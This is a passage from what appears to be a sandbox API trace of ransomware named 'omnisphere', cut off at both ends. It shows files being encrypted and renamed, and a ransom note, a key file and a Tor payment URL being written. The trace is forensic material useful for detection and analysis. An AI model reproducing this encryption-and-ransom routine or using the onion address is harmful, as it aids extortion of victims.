pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.708] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.708] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.708] CryptDestroyKey (hKey=0x16397a8) returned 1 [0128.708] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0128.708] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x1544, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.709] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.709] GetProcessHeap () returned 0x1600000 [0128.709] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x304) returned 0x16fe4b8 [0128.709] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\590aee7bdd69b59b.customdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\590aee7bdd69b59b.customdestinations-ms.omnisphere")) returned 1 [0128.710] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms.omnisphere.id" [0128.711] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\590aee7bdd69b59b.customdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.711] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.713] CloseHandle (hObject=0x388) returned 1 [0128.713] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.713] CloseHandle (hObject=0x3c0) returned 1 [0128.713] SetEndOfFile (hFile=0x288) returned 1 [0128.713] FlushFileBuffers (hFile=0x288) returned 1 [0128.718] CloseHandle (hObject=0x288) returned 1 [0128.718] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0128.718] GetProcessHeap () returned 0x1600000 [0128.718] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fe7c8 [0128.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.718] GetProcessHeap () returned 0x1600000 [0128.718] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdcf8 [0128.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdcf8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.718] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.718] GetProcessHeap () returned 0x1600000 [0128.718] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17100a0 [0128.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17100a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.718] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.718] GetProcessHeap () returned 0x1600000 [0128.718] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd6) returned 0x16fabe0 [0128.718] PathCombineW (in: pszDest=0x16fabe0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.719] GetProcessHeap () returned 0x1600000 [0128.719] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170f348 [0128.719] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.719] WriteFile (in: hFile=0x288, lpBuffer=0x170f348*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170f348*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.719] CloseHandle (hObject=0x288) returned 1 [0128.719] GetProcessHeap () returned 0x1600000 [0128.719] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fe7c8 | out: hHeap=0x1600000) returned 1 [0128.719] GetProcessHeap () returned 0x1600000 [0128.719] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x16241b0 [0128.719] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key" [0128.719] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.720] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.720] CloseHandle (hObject=0x288) returned 1 [0128.720] GetProcessHeap () returned 0x1600000 [0128.720] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16241b0 | out: hHeap=0x1600000) returned 1 [0128.720] GetProcessHeap () returned 0x1600000 [0128.720] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.720] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f404d4a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x96c71f96, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x96ce4639, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ef2, dwReserved0=0x0, dwReserved1=0xcc, cFileName="6824f4a902c78fbd.customDestinations-ms", cAlternateFileName="6824F4~1.CUS")) returned 1 [0128.720] GetProcessHeap () returned 0x1600000 [0128.720] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x160e0d8 [0128.720] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="6824f4a902c78fbd.customDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\6824f4a902c78fbd.customDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\6824f4a902c78fbd.customDestinations-ms" [0128.720] StrStrW (lpFirst=".omnisphere", lpSrch=".customDestinations-ms") returned 0x0 [0128.720] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\6824f4a902c78fbd.customDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\6824f4a902c78fbd.customdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.721] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=20210) returned 1 [0128.721] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x49ce, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.721] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.726] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ef2, lpName=0x0) returned 0x3c0 [0128.727] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.727] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.727] CloseHandle (hObject=0x3c0) returned 1 [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.727] GetTickCount () returned 0x11601cc [0128.728] GetTickCount () returned 0x11601cc [0128.728] GetTickCount () returned 0x11601cc [0128.728] GetTickCount () returned 0x11601cc [0128.728] GetTickCount () returned 0x11601cc [0128.728] GetTickCount () returned 0x11601cc [0128.728] GetTickCount () returned 0x11601cc [0128.728] GetTickCount () returned 0x11601cc [0128.728] GetTickCount () returned 0x11601cc [0128.728] GetTickCount () returned 0x11601cc [0128.728] GetTickCount () returned 0x11601cc [0128.728] GetTickCount () returned 0x11601cc [0128.728] GetTickCount () returned 0x11601cc [0128.728] GetTickCount () returned 0x11601cc [0128.728] GetTickCount () returned 0x11601cc [0128.728] GetTickCount () returned 0x11601cc [0128.728] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1669120) returned 1 [0128.729] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x16397a8) returned 1 [0128.729] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.729] CryptDestroyKey (hKey=0x16397a8) returned 1 [0128.729] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0128.729] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ef2, lpName=0x0) returned 0x3c0 [0128.729] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ef2) returned 0x1480000 [0128.731] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668e78) returned 1 [0128.731] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639868) returned 1 [0128.732] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.732] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.733] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.734] CryptEncrypt 